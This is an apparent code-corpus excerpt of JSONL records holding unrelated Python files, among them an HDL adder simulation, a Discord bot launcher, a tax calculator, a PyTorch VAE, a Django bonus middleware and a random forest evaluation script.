while i < len(terms):\n if i + 1 < len(terms):\n new_terms.append(terms[i] | terms[i+1])\n else:\n new_terms.append(terms[i])\n i += 2\n terms = new_terms\n\n return terms[0]\n\n\n \n\nclass Adder(Elaboratable):\n def __init__(self):\n self.x = Signal(8)\n self.y = Signal(8)\n self.out = Signal(unsigned(8))\n\n def elaborate(self, platform : Platform = None):\n m = Module() \n m.d.comb += self.out.eq(self.x + self.y)\n\n return m\n\n def inputs(self) -> List[Signal]:\n return [self.x, self.y]\n\n def outputs(self) -> List[Signal]:\n return [self.out]\n\n def ports(self) -> List[Signal]:\n return self.inputs() + self.outputs()\n\n def __repr__(self):\n return \"\"\n\n\ndef fix_gtkw_win(fname):\n lines = open(fname).readlines()\n \n lines[0] = re.sub(r'/mnt/(.)/', r'\\1:/', lines[0])\n fname = re.sub(r'\\.gtkw$',r'_win.gtkw',fname)\n with open(fname, \"w\") as res:\n res.writelines(lines)\n\ndef dump_inputs(from_module:Module, to_module : Module, prefix=\"\", suffix=\"\") -> List[Signal]:\n input_copies = []\n for signal in from_module.inputs():\n if signal.__class__ == Signal:\n new_signal = Signal(shape=signal.shape(), name=prefix+signal.name+suffix, attrs=signal.attrs, decoder=signal.decoder)\n to_module.d.comb += new_signal.eq(signal)\n input_copies.append(new_signal)\n else:\n raise Exception(\"Unsupported signal %s type %s\" % (signal, signal.__class__))\n return input_copies\n\n\ndef bit_slice(n : int, hi:int, lo:int):\n \"\"\" returns n[hi:lo] bits (inclusive hi and lo)\"\"\"\n if isinstance(n, Value):\n _n : Value = n\n return _n.bit_select(lo, (hi-lo)+1)\n\n shifted = n >> lo \n width = hi - lo + 1\n mask = (1 << width) - 1\n bits = shifted & mask\n return bits\n\ndef as_signed(m : Module, signal:Signal):\n \"\"\" Create a new copy of signal, but marked as signed \"\"\"\n if signal.signed:\n # signed already \n print(f\"Warning: trying to cast already signed sigan {signal.name}\")\n return signal \n \n new_signal = Signal(signed(signal.width), name=signal.name+\"_signed\")\n m.d.comb += new_signal.eq(signal)\n return new_signal\n\n\ndef SeqPast(signal : Signal, hi : int, lo:int, expect : bool):\n \"\"\" Chain Past(x, hi) & Past(x, hi-1)...& Past(x, lo) or ~Past(x, hi) & ~Past(x, hi-1)...& ~Past(x, lo)\"\"\"\n def make_term():\n if expect:\n return Past(signal, n)\n else:\n return ~Past(signal, n)\n\n assert hi >= lo\n n = hi\n term = make_term()\n n -= 1\n while n >= lo:\n term = term & make_term()\n n -= 1\n return term\n\nmuS=1e-6\n\ndef repeat_bit(bit, n) -> Statement:\n return Cat([bit for _ in range(n)])\n\nif __name__ == \"__main__\":\n parser = main_parser() \n args = parser.parse_args()\n\n m = Module()\n m.submodules.adder = adder = Adder()\n x = Signal(8)\n y = Signal(8)\n m.d.comb += adder.x.eq(x)\n m.d.comb += adder.y.eq(y)\n sim = Simulator(m)\n\n def timings():\n yield adder.x.eq(0x00)\n yield adder.y.eq(0x00)\n yield Delay(muS)\n\n yield adder.x.eq(0xFF)\n yield adder.y.eq(0xFF)\n yield Delay(muS) \n\n yield adder.x.eq(0x00)\n yield Delay(muS)\n\n sim.add_process(timings)\n with sim.write_vcd(\"test.vcd\", \"test.gtkw\", traces = [x,y]+adder.ports()):\n sim.run()\n fix_gtkw_win(\"test.gtkw\")\n \n\n \n #main_runner(parser, args, m, ports=[]+adder.ports())\n\n#if __name__ == \"__main__\":\n# parser = main_parser() \n# args = parser.parse_args()\n# m = Module()\n# m.submodules.adder = adder = Adder()\n# \n# main_runner(parser, args, m, ports=[]+adder.ports())\n","sub_path":"skeleton.py","file_name":"skeleton.py","file_ext":"py","file_size_in_byte":6019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"499504421","text":"import datetime\nimport logging\nimport json\nimport discord\nfrom discord.ext import commands\nfrom logic import *\n\nlogging.basicConfig(\n level=logging.INFO, \n style='{', \n datefmt='%d/%m/%Y %H:%M:%S %p %Z', \n format='\\n{asctime} [{levelname}] {name}:\\n{message}'\n )\n\nbot_prefix = options['APP']['Prefix']\nbot_status = options['APP']['Status']\nbot = commands.Bot(command_prefix=bot_prefix)\n\n@bot.event\nasync def on_ready():\n await CommandsManager.load(bot)\n await bot.change_presence(activity=discord.Activity(type=discord.ActivityType.playing, name=bot_status))\n print('ok.')\n\nbot.run(manifest['app-token'])","sub_path":"src/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"367230382","text":"#!/usr/bin/env python3\nimport sys\nimport os \nimport csv\n\nclass Args():\n\tdef __init__(self):\n\t\tself.args = sys.argv[1:]\n\t\tself.arg_dic = {'-c':'', '-d':'', '-o':''}\n\t\tself._analysis()\n\t\n\tdef __repr__(self):\n\t\treturn(','.join(self.arg_dic.keys()))\n\n\tdef _usage(self):\n\t\tprint(\"File not exists!\")\n\t\texit(1)\n\n\tdef _analysis(self):\n\t\tfor arg in self.arg_dic.keys():\n\t\t\tindex = self.args.index(arg)\n\t\t\tself.arg_dic[arg] = self.args[index+1]\n\t\t\tif self.arg_dic[arg] is None:\n\t\t\t\tself._usage()\n\t\t\telif arg != '-o' and not os.path.exists(self.arg_dic[arg]):\n\t\t\t\tself._usage()\n\t\n\t@property\t\t\n\tdef configfile(self):\n\t\treturn self.arg_dic['-c']\n\t\n\t@property\n\tdef datafile(self):\n\t\treturn self.arg_dic['-d']\n\n\t@property\n\tdef outputfile(self):\n\t\treturn self.arg_dic['-o']\n\n\nclass Config():\n\tdef __init__(self,configfile):\n\t\tself.config = self._read_config(configfile)\n\n\tdef _usage(self):\n\t\tprint(\"Wrong config!\")\n\t\texit(1)\n\n\tdef _read_config(self,configfile):\n\t\tconfig = {}\n\t\t_f = open(configfile,'r')\n\t\tfor line in _f.readlines():\n\t\t\tconfig_keys, config_values = line.split('=')\n\t\t\ttry:\n\t\t\t\tconfig_keys = config_keys.strip()\n\t\t\t\tconfig_values = float(config_values.strip())\n\t\t\texcept ValueError:\n\t\t\t\tself._usage()\n\t\t\tconfig[config_keys] = config_values\n\t\treturn config\t\n\t \t \t\n\tdef get_config(self,conf_key):\n\t\tif conf_key not in self.config.keys():\n\t\t\tprint('Key not exists!')\n\t\telse:\n\t\t\treturn self.config.get(conf_key)\t\t\n\n\tdef __repr__(self):\n\t\treturn ','.join(self.config.keys())\n\nclass UserData():\n\tdef __init__(self,datafile):\n\t\tself.userdata = self._read_users_data(datafile)\n\n\tdef _usage(self):\n\t\tprint(\"Wrong data!\")\n\t\texit(1)\n\n\tdef _read_users_data(self,datafile):\n\t\tuserdata = []\n\t\t_f = open(datafile,'r')\n\t\tfor line in _f.readlines():\n\t\t\ttry:\n\t\t\t\tuser, salary = line.split(',')\n\t\t\t\tuser = user.strip()\n\t\t\t\tsalary = float(salary.strip())\n\t\t\texcept IndexError or ValueError:\n\t\t\t\tself._usage()\n\t\t\tuserdata.append((user,salary))\n\t\treturn userdata\n\t\nclass IncomeTaxCalculator():\n\tdef __init__(self,outputfile,conf,userdata):\n\t\tself.opf = outputfile\n\t\tself.conf = conf\n\t\tself.userdata = userdata.userdata\n\n\tdef calc_for_all_userdata(self):\n\t\tresult = []\n\t\tfor user, salary in self.userdata:\n\t\t\tsalary_before = salary\n\t\t\tif salary_before < self.conf.get_config('JiShuL'):\n\t\t\t\ttax_count = self.conf.get_config('JiShuL')\n\t\t\telif salary_before > self.conf.get_config('JiShuH'):\n\t\t\t\ttax_count = self.conf.get_config('JiShuH')\t\n\t\t\telse:\n\t\t\t\ttax_count = salary_before\n\t\t\tshebao = self.conf.get_config('YangLao') + self.conf.get_config('YiLiao') + self.conf.get_config('ShiYe') + self.conf.get_config('GongShang') + self.conf.get_config('ShengYu') + self.conf.get_config('GongJiJin')\t\n\t\t\tfee = float(tax_count * shebao)\n\t\t\ttax_to_count = float(salary_before - fee - 3500)\n\t\t\tif tax_to_count > 80000:\n\t\t\t\ttax = tax_to_count * 0.45 - 13505\n\t\t\telif tax_to_count > 55000:\n\t\t\t\ttax = tax_to_count * 0.35 - 5505\n\t\t\telif tax_to_count > 35000:\n\t\t\t\ttax = tax_to_count * 0.30 - 2755\n\t\t\telif tax_to_count > 9000:\n\t\t\t\ttax = tax_to_count * 0.25 - 1005\n\t\t\telif tax_to_count > 4500:\n\t\t\t\ttax = tax_to_count * 0.20 - 555\n\t\t\telif tax_to_count > 1500:\n\t\t\t\ttax = tax_to_count * 0.10 - 105\n\t\t\telif tax_to_count > 0:\n\t\t\t\ttax = tax_to_count * 0.03\n\t\t\telse:\n\t\t\t\ttax = 0\n\t\t\tsalary_after = \"{:.2f}\".format(float(salary_before - fee - tax))\n\t\t\ttax = \"{:.2f}\".format(tax)\n\t\t\tfee = \"{:.2f}\".format(fee)\n\t\t\tuser_info = [user,salary_before,fee,tax,salary_after]\n\t\t\tresult.append(user_info)\n\t\treturn result\n\n\t\t\n\tdef export(self, default='csv'):\n\t\tresult = self.calc_for_all_userdata()\n\t\twith open(self.opf,'w') as f:\n\t\t\twriter = csv.writer(f)\n\t\t\twriter.writerows(result)\n\nif __name__ == '__main__':\n\targ = Args()\n\tconf = Config(arg.configfile)\n\tuserdata = UserData(arg.datafile)\n\tincome = IncomeTaxCalculator(arg.outputfile,conf,userdata)\t\n\tincome.export()\n\n\n","sub_path":"week5/challenge25/calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":3810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"452643099","text":"from setuptools import setup, find_packages\n\nwith open('README.md') as f:\n README = f.read()\n\nsetup(\n name='ddop',\n version='v0.2.0',\n url='',\n license='MIT',\n author='Andreas Philippi',\n author_email='',\n description='Package for data-driven operations management',\n long_description=README,\n include_package_data=True,\n packages=find_packages(),\n python_requires=\">=3.7\",\n install_requires=['sklearn>=0.0','pandas','PuLP==2.0',\n 'tensorflow==2.1.0', 'Keras==2.3.1',\n 'numpy==1.18.2', 'scipy==1.4.1']\n)","sub_path":"pypi_install_script/ddop-0.2.0.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"515404080","text":"import torch\nfrom torch.autograd import Variable\nimport torch.nn as nn\n\nfrom itertools import chain\nimport numpy as np\nimport time\n\nclass Encoder(nn.Module):\n \"\"\"\n Class Encoder\n\n \"\"\"\n def __init__(self, z_dim, hidden_size, num_channels):\n \"\"\"\n Initialization\n x -> Linear -> ReLU x 2 -> (mu, sigma) -> z\n\n \"\"\"\n super(Encoder, self).__init__()\n\n self.main = nn.Sequential(\n nn.Linear(num_channels, hidden_size),\n nn.ReLU(True)\n )\n self.mu_ = nn.Linear(hidden_size, z_dim)\n self.sigma_ = nn.Linear(hidden_size, z_dim)\n\n def forward(self, x):\n \"\"\"\n Definition of forward process\n\n \"\"\"\n h = self.main(x)\n mu = self.mu_(h)\n sigma = self.sigma_(h)\n\n return mu, sigma\n\nclass Decoder(nn.Module):\n \"\"\"\n Class Decoder\n\n \"\"\"\n def __init__(self, z_dim, hidden_size, num_channels):\n \"\"\"\n Initialization\n z -> Linear -> ReLU -> Linear -> Sigmoid -> x_hat\n\n \"\"\"\n super(Decoder, self).__init__()\n self.main = nn.Sequential(\n nn.Linear(z_dim, hidden_size),\n nn.ReLU(True),\n nn.Linear(hidden_size, num_channels),\n nn.Sigmoid()\n )\n def forward(self, x):\n \"\"\"\n Definition of forward process\n\n \"\"\"\n x = self.main(x)\n return x\n\nclass LinearVAE(nn.Module):\n \"\"\"\n Class VAE containing Encoder & Decoder using Linear layers\n\n \"\"\"\n def __init__(self, z_dim, hidden, num_channels):\n \"\"\"\n Initialization of VAE\n\n \"\"\"\n super(LinearVAE, self).__init__()\n\n self.Encoder = Encoder(z_dim, hidden, num_channels)\n self.Decoder = Decoder(z_dim, hidden, num_channels)\n self.z_dim = z_dim\n self.model_name = \"LinearVAE\"\n self.mu = None\n self.log_sigma = None\n\n def sample_from_q(self, mu, log_sigma):\n \"\"\"\n VAE sample from Normal(mu, sigma)\n\n \"\"\"\n epsilon = Variable(torch.randn(mu.size()), requires_grad=False).type(torch.FloatTensor)\n sigma = torch.exp(log_sigma / 2)\n return mu + sigma * epsilon\n\n def forward(self, x):\n \"\"\"\n Definition of forward process\n\n \"\"\"\n self.mu, self.log_sigma = self.Encoder(x)\n z = self.sample_from_q(self.mu, self.log_sigma)\n return self.Decoder(z)\n\n def load(self, path):\n \"\"\"\n load model from given path\n\n \"\"\"\n self.load_state_dict(torch.load(path))\n\n def save(self, dataset, name=None):\n \"\"\"\n save model to given path with time as name\n\n \"\"\"\n if name is None:\n prefix = 'checkpoints/' + self.model_name + '_' + str(self.z_dim) + '_' + dataset + '_'\n name = time.strftime(prefix + '%m%d_%H:%M:%S.pth')\n torch.save(self.state_dict(), name)\n return name\n","sub_path":"Reconstruction/models/LinearVAE.py","file_name":"LinearVAE.py","file_ext":"py","file_size_in_byte":2983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"490005277","text":"from tqdm import tqdm\r\nfrom time import clock\r\n\r\nstarttime = clock()\r\n# Idea: inclusion-exclusion. Intersection of boxes is a box, and that should be easy to understand.\r\n\r\n#Lagged generator\r\nS = [ ((100003 - 200003*k + 300007*k*k*k) % 1000000) for k in range(56) ]\r\nS[0] = 0\r\n\r\nwhile len(S) <= 300000:\r\n S.append((S[-24]+S[-55]) % 1000000)\r\n\r\n#construct list of boxes\r\nboxes = []\r\nwhile len(boxes) < 50000:\r\n index = len(boxes) + 1\r\n nextbox = (S[6*index-5] % 10000,S[6*index-4] % 10000,S[6*index-3] % 10000, 1+ (S[6*index-2] % 399), 1+ (S[6*index-1] % 399), 1+ (S[6*index] % 399))\r\n realbox = (nextbox[0],nextbox[0]+nextbox[3],nextbox[1],nextbox[1]+nextbox[4],nextbox[2],nextbox[2]+nextbox[5],index)\r\n # store boxes as (x0,x1,y0,y1,z0,z1)\r\n boxes.append(realbox)\r\n\r\n#idea: if we sort the boxes, it will make it easier to know when to start and stop comparing.\r\nboxes.sort()\r\n#print(clock()-starttime) #.2s to get boxes together\r\n\r\ncurrentintersections = boxes.copy()\r\nsign = -1\r\nvolume = 0\r\n\r\nwhile currentintersections:\r\n sign *= -1 #Change sign of our additions: for intersections of n things, we want to add them with a coefficient of (-1)^n\r\n setfuture = set() #store our future intersections in a set to avoid duplicates - A\\cap B\\cap C will show up in several ways- A\\cap (B\\cap C), B\\cap (A\\cap C), etc\r\n previousstart = 0 #Start in a smart place: we want to skip all the stuff that's known to be entirely left than where we are.\r\n for k in tqdm(range(len(currentintersections))):\r\n box2 = currentintersections[k]\r\n volume += sign*(box2[1]-box2[0])*(box2[3]-box2[2])*(box2[5]-box2[4]) #Add the signed volume of the box\r\n\r\n for j in range(previousstart,len(boxes)):\r\n box1 = boxes[j]\r\n\r\n if box2[0] >= box1[1]:\r\n previousstart += 1 #no intersection, box1 is entirely left of box2. Add one to previous start tracker.\r\n continue\r\n elif box2[1] <= box1[0]:\r\n break #no intersection, box1 is entirely right of box2, stop the loop\r\n\r\n #OK, so now there may be intersection.\r\n if box1[6] in box2[6:]:\r\n continue #this not a good intersection: it's A intersect (A intersect B ...)\r\n\r\n # If box1 and box2 intersect, then the intersection has minimal x value which is max of box1.x0 and box2.x0, and maximal x value which is min of box1.x1 and box2.x1. Similarly for y,z\r\n possible_intersection = (max(box1[0],box2[0]),min(box1[1],box2[1]),max(box1[2],box2[2]),min(box1[3],box2[3]),max(box1[4],box2[4]),min(box1[5],box2[5]))\r\n if possible_intersection[0] < possible_intersection[1] and possible_intersection[2] < possible_intersection[3] and possible_intersection[4] < possible_intersection[5]:\r\n possible_intersection = tuple( list(possible_intersection) + sorted([box1[6]] + list(box2[6:])) ) #extra stuff at the end is to keep track of history intelligently\r\n setfuture.add(possible_intersection)\r\n\r\n currentintersections = sorted(list(setfuture)) #change current intersections to be the list of the next intersections in sorted order.\r\n print(len(currentintersections),volume)\r\n\r\nprint(clock()-starttime) # about 225s, but correct.\r\n","sub_path":"212.py","file_name":"212.py","file_ext":"py","file_size_in_byte":3272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"45905311","text":"\nfrom django.http import HttpResponse,JsonResponse\nfrom . models import Book\n\ndef detail (request,book_title):\n book= book_title\n book = Book.objects.get(title = book)\n templates = loader.get_template('reviews/detail.html')\n context = {\n \"book\": book,\n }\n return HttpResponse(templates.render(context, request))\n\n\n\n\n\n","sub_path":"Old_Chapter03/Exercise 3.7/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"285284973","text":"# coding: utf-8\n\nimport numpy as np\nimport pandas as pd\nfrom pandas.api.types import CategoricalDtype as cdtype\nfrom .. import datasets\n\n\nCOLUMN_ORDER = ['PARTICIPANT', 'DIAGNOSIS', 'GENDER', 'RACE', 'AGE',\n 'FAMILY_HISTORY', 'HANDEDNESS', 'EDUCATION',\n 'SYMPTOM_DURATION', 'SITE', 'VISIT', 'VISIT_DATE', 'PAG_NAME',\n 'TEST', 'SCORE']\n\n\ndef get_data(fpath):\n \"\"\"\n Gets *ALL* data for PPMI subjects\n\n Parameters\n ----------\n fpath : str\n Filepath to directory containing all PPMI data\n\n Returns\n -------\n data : pd.core.frame.DataFrame\n All PPMI data\n \"\"\"\n\n diagnosis = ['PD', 'HC', 'SWEDD', 'PROD', 'GC_PD', 'GC_HC',\n 'GR_PD', 'GR_HC']\n sex = ['M', 'F', 'NS']\n race = ['WHITE', 'MULTI', 'NS', 'BLACK', 'ASIAN', 'INDALS', 'HAWOPI']\n visits = ['SC', 'BL', 'V01', 'V02', 'V03', 'V04', 'V05', 'V06', 'V07',\n 'V08', 'V09', 'V10', 'V11', 'V12', 'V13', 'V14', 'V15', 'PW']\n dates = ['BIRTH_DATE', 'DIAGNOSIS_DATE', 'ENROLL_DATE', 'VISIT_DATE']\n hand = ['LEFT', 'RIGHT', 'BOTH']\n\n dtype = dict(PARTICIPANT=str,\n DIAGNOSIS=cdtype(categories=diagnosis, ordered=False),\n GENDER=cdtype(categories=sex, ordered=False),\n RACE=cdtype(categories=race, ordered=False),\n AGE=float,\n BIRTH_DATE=str,\n DIAGNOSIS_DATE=str,\n ENROLL_DATE=str,\n FAMILY_HISTORY=str,\n HANDEDNESS=cdtype(categories=hand, ordered=False),\n EDUCATION=str,\n SITE=int,\n PAG_NAME=str,\n VISIT=cdtype(categories=visits, ordered=True),\n VISIT_DATE=str,\n TEST=str,\n SCORE=float)\n\n # combine all datasets\n beh = datasets.get_behavior(fpath).dropna(subset=['VISIT', 'VISIT_DATE'])\n bio = datasets.get_biospecimen(fpath).dropna(subset=['VISIT'])\n dat = datasets.get_datscan(fpath).dropna(subset=['VISIT'])\n dem = datasets.get_demographics(fpath)\n\n visits = (beh.get(['PARTICIPANT', 'VISIT', 'VISIT_DATE'])\n .sort_values('VISIT')\n .drop_duplicates(subset=['PARTICIPANT', 'VISIT']))\n\n # add VISIT DATE from `visits` to `bio` and `dat`\n bio = pd.merge(bio.drop('VISIT_DATE', axis=1), visits,\n on=['PARTICIPANT', 'VISIT'])\n dat = pd.merge(dat.drop('VISIT_DATE', axis=1), visits,\n on=['PARTICIPANT', 'VISIT'])\n\n # throw everything together in one giant dataframe\n data = pd.merge(beh.append(bio, sort=True).append(dat, sort=True), dem,\n on='PARTICIPANT')\n\n for key, item in dtype.items():\n data[key] = data[key].astype(item)\n for key in dates:\n data[key] = pd.to_datetime(data[key])\n\n # clean up age and get symptom duration\n data.AGE = (data.VISIT_DATE - data.BIRTH_DATE) / np.timedelta64(1, 'Y')\n duration = (data.VISIT_DATE - data.DIAGNOSIS_DATE) / np.timedelta64(1, 'Y')\n data = (data.assign(SYMPTOM_DURATION=duration)\n .drop(['BIRTH_DATE', 'DIAGNOSIS_DATE', 'ENROLL_DATE'], axis=1))\n\n return data[COLUMN_ORDER]\n","sub_path":"ppmi/datasets/all.py","file_name":"all.py","file_ext":"py","file_size_in_byte":3216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"74647220","text":"from rest_framework.routers import SimpleRouter\nfrom stats.views import SummaryByCategoryView, Top10ExpensesView, WalletStateView\n\n\nrouter = SimpleRouter()\nroutes = (\n (r'sum-by-target', SummaryByCategoryView, 'sum-by-target'),\n (r'top-10-expenses', Top10ExpensesView, 'top-10-expenses'),\n (r'wallets-state', WalletStateView, 'wallet-state'),\n)\n[router.register(*route) for route in routes]\nurlpatterns = router.urls","sub_path":"stats/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"211586606","text":"from sklearn.ensemble import RandomForestClassifier\r\nfrom preprocessing import non_pca\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.metrics import confusion_matrix, matthews_corrcoef, accuracy_score, classification_report, roc_curve, \\\r\n roc_auc_score\r\nfrom sklearn.model_selection import KFold\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nerrors=[]\r\ndataset, labels, dataset_external, labels_external = non_pca.pca()\r\nname = 'RANDOM FOREST'\r\n\r\ntotals_splits = 10\r\ncount = 0\r\nkf = KFold(n_splits=10, random_state=None, shuffle=True)\r\nfor train_index, test_index in kf.split(dataset):\r\n X_train, X_test = dataset.iloc[train_index], dataset.iloc[test_index]\r\n y_train, y_test = labels[train_index], labels[test_index]\r\n rfc = RandomForestClassifier(n_estimators=10)\r\n rfc.fit(X_train, y_train)\r\n pred_lbl = rfc.predict(X_test)\r\n pred_lbl_train = rfc.predict(X_train)\r\n conf = confusion_matrix(y_test, pred_lbl)\r\n tn, fp, fn, tp = conf.ravel()\r\n interval = [1.64, 1.96, 2.33, 2.58]\r\n external_lbl = rfc.predict(dataset_external)\r\n acc_external = accuracy_score(labels_external, external_lbl)\r\n conf_train = confusion_matrix(y_test, pred_lbl)\r\n tn_train, fp_train, fn_train, tp_train = conf_train.ravel()\r\n sensitivity_train = tp_train / (tp_train + fn_train)\r\n specitivity_train = tn_train / (tn_train + fp_train)\r\n acc = accuracy_score(y_test, pred_lbl)\r\n error = 1 - acc\r\n errors.append(error)\r\n count = count + 1\r\n acc_train = accuracy_score(y_train, pred_lbl_train)\r\n sensitivity = tp / (tp + fn)\r\n specitivity = tn / (tn + fp)\r\n clas = classification_report(y_test, pred_lbl)\r\n mcc = matthews_corrcoef(y_test, pred_lbl)\r\n\r\n fpr, tpr, thresholds = roc_curve(y_test, pred_lbl)\r\n roc_auc = roc_auc_score(y_test, pred_lbl)\r\n plt.plot(fpr, tpr, label='test ROC curve (area = %0.3f)' % roc_auc)\r\n\r\n plt.plot([0, 1], [0, 1], 'k--')\r\n plt.xlabel('False Positive Rate or (1 - Specifity)')\r\n plt.ylabel('True Positive Rate or (Sensitivity)')\r\n plt.title('Receiver Operating Characteristic')\r\n plt.legend(loc=\"lower right\")\r\n plt.savefig('ROC/' + name + '_Roc_plot.png')\r\n plt.close()\r\n inter_values = {}\r\n\r\n for i in interval:\r\n print(len(y_test))\r\n interval = i * np.sqrt((error * (1 - error)) / len(y_test))\r\n print('INTERVAL :', i, 'VALUE : ', interval)\r\n inter_values[i] = interval\r\n\r\n n_bootstraps = 1000\r\n rng_seed = 42 # control reproducibility\r\n bootstrapped_scores = []\r\n\r\n rng = np.random.RandomState(rng_seed)\r\n for i in range(n_bootstraps):\r\n indices = rng.randint(0, len(pred_lbl), len(pred_lbl))\r\n if len(np.unique(y_test[indices])) < 2:\r\n continue\r\n score = roc_auc_score(np.array(y_test)[indices], np.array(pred_lbl)[indices])\r\n bootstrapped_scores.append(score)\r\n\r\n sorted_scores = np.array(bootstrapped_scores)\r\n sorted_scores.sort()\r\n confidence_lower = sorted_scores[int(0.05 * len(sorted_scores))]\r\n confidence_upper = sorted_scores[int(0.95 * len(sorted_scores))]\r\n print(\"Confidence interval for the score: [{:0.3f} - {:0.3}]\".format(\r\n confidence_lower, confidence_upper))\r\n\r\n with open('Report/' + name + '_evalution.txt', 'a') as f:\r\n f.write('Accuracy on Train Set :- ' + str(acc_train) + '\\n' + 'Accuracy on External Set :- ' + str(\r\n acc_external) + '\\n' + 'Sensitivity on train set :- ' + str(\r\n sensitivity_train) + '\\n' + 'Specitivity on train set :- ' + str(\r\n specitivity_train) + '\\n' + 'Accuracy on Test Set :- ' + str(acc) + '\\n' + 'Sensitivity :- ' + str(\r\n sensitivity) + '\\n' + 'Specitivity :- ' + str(specitivity) + '\\n' + 'ROC SCORE :- ' + str(\r\n roc_auc) + '\\n' + 'Confusion Matrix :- \\n' + str(conf) + '\\n' + 'Classification Report :- \\n' + str(\r\n clas) + '\\n MCC :- ' + str(mcc) + '\\n\\n\\n')\r\n\r\n if totals_splits - 1 == count:\r\n for jj in inter_values.items():\r\n f.write('INTERVAL IS ' + str(jj[0]) + ' VALUE IS ' + str(jj[1]) + '\\n')\r\n f.write('ERROR IS : '+str(sum(errors)/len(errors)))\r\n## - 92.04\r\n## - 100 and 0\r\n\r\n\r\n# [0.908 - 0.952]","sub_path":"RandomForest.py","file_name":"RandomForest.py","file_ext":"py","file_size_in_byte":4247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"84983003","text":"import datetime\nimport os\n\nimport torch\n\n\ndef load_torch_model_from_checkpoint(checkpoint: str, model: torch.nn.Module):\n map_location = None\n if not torch.cuda.is_available():\n map_location = \"cpu\"\n\n state_dict = torch.load(checkpoint, map_location=map_location)\n if \"model\" in state_dict.keys():\n model.load_state_dict(state_dict[\"model\"])\n elif \"train_model\" in state_dict.keys():\n model.load_state_dict(state_dict[\"train_model\"])\n else:\n model.load_state_dict(state_dict)\n\n\ndef save_torch_model_to_checkpoint(\n model: torch.nn.Module, out_dir: str, epoch: int, out_name: str = \"best\",\n):\n tstamp = datetime.datetime.strftime(datetime.datetime.now(), \"%Y%m%d%H%M\")\n if not os.path.exists(out_dir):\n os.makedirs(out_dir)\n outpath = os.path.join(out_dir, out_name + \".pt\") # f\"{epoch:04}_{tstamp}.pt\")\n\n save_dict = {\"epoch\": epoch, \"model\": model.state_dict()}\n\n torch.save(save_dict, outpath)\n","sub_path":"baselines/checkpointing.py","file_name":"checkpointing.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"59566155","text":"\"\"\"\nMiddleware for configurable bonus system. You can configure the bonuses by\nBonus model.\n\"\"\"\nfrom decimal import Decimal\nfrom django.core.urlresolvers import resolve\nfrom spin.models import Bonus, Wallet\n\nclass BonusMiddleware(object):\n\n def __init__(self, get_response):\n self.get_response = get_response\n\n def __call__(self, request):\n response = self.get_response(request)\n if request.user.is_authenticated:\n bonuses = Bonus.objects.filter(url=request.path_info,\n method=request.method)\n for bonus in bonuses:\n if not bonus.condition:\n self.__create_wallet(request, bonus)\n else:\n value = None\n if bonus.method == \"GET\":\n parameter = request.GET.get(bonus.parameter)\n else:\n parameter = request.POST.get(bonus.parameter)\n\n if parameter:\n if bonus.parameter_type == \"Decimal\":\n threshold = Decimal(bonus.parameter_value)\n value = Decimal(parameter)\n\n if bonus.condition == \">\" and value > threshold:\n self.__create_wallet(request, bonus)\n if bonus.condition == \">=\" and value >= threshold:\n self.__create_wallet(request, bonus)\n elif bonus.parameter == \"<\" and value < threshold:\n self.__create_wallet(request, bonus)\n elif bonus.parameter == \"<=\" and value <= threshold:\n self.__create_wallet(request, bonus)\n elif bonus.parameter == \"==\" and value == threshold:\n self.__create_wallet(request, bonus)\n\n return response\n\n def __create_wallet(self, request, bonus):\n print(\"url: {}, method: {}, bonus: {}\".format(request.path_info, request.method, bonus))\n Wallet.objects.create(is_real_money=bonus.wallet_type,\n initial_cash=bonus.amount,\n actual_cash=bonus.amount,\n user=request.user)\n\n","sub_path":"igaming_platform/igaming_platform/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":2292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"499822647","text":"from tool.imtool import get_image_list\nfrom tool.datatool import file2list\nimport argparse\nimport cv2, random\nimport os.path as osp\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('-i', '--input', help=\"list file or image dir\")\n parser.add_argument('-o', '--outfile')\n parser.add_argument('-r', '--ratio', type=float, default=1.0)\n args = parser.parse_args()\n return args\n\nif __name__ == '__main__':\n\n args = parse_args()\n if osp.isdir(args.input):\n imagelst = get_image_list(args.input, \"jpg\")\n elif osp.isfile(args.input):\n imageitemlist = file2list(args.input)\n imagelst = [item['path'] for item in imageitemlist]\n else:\n raise\n\n if args.ratio < 1.0:\n sample = int(args.ratio * len(imagelst))\n imagelst = random.sample(imagelst, sample)\n\n w, h = 0., 0.\n count = 0\n\n with open(args.outfile, \"w+\") as fout:\n for imagepath in imagelst:\n im = cv2.imread(imagepath)\n if im is None:\n continue\n ih, iw, _ = im.shape\n w += iw\n h += ih\n count += 1\n fout.write(\"width: {}, height: {}\\n\".format(iw, ih))\n w /= count\n h /= count\n fout.write(\"width: {}, height: {}\".format(w, h))\n","sub_path":"scripts/count_size.py","file_name":"count_size.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} 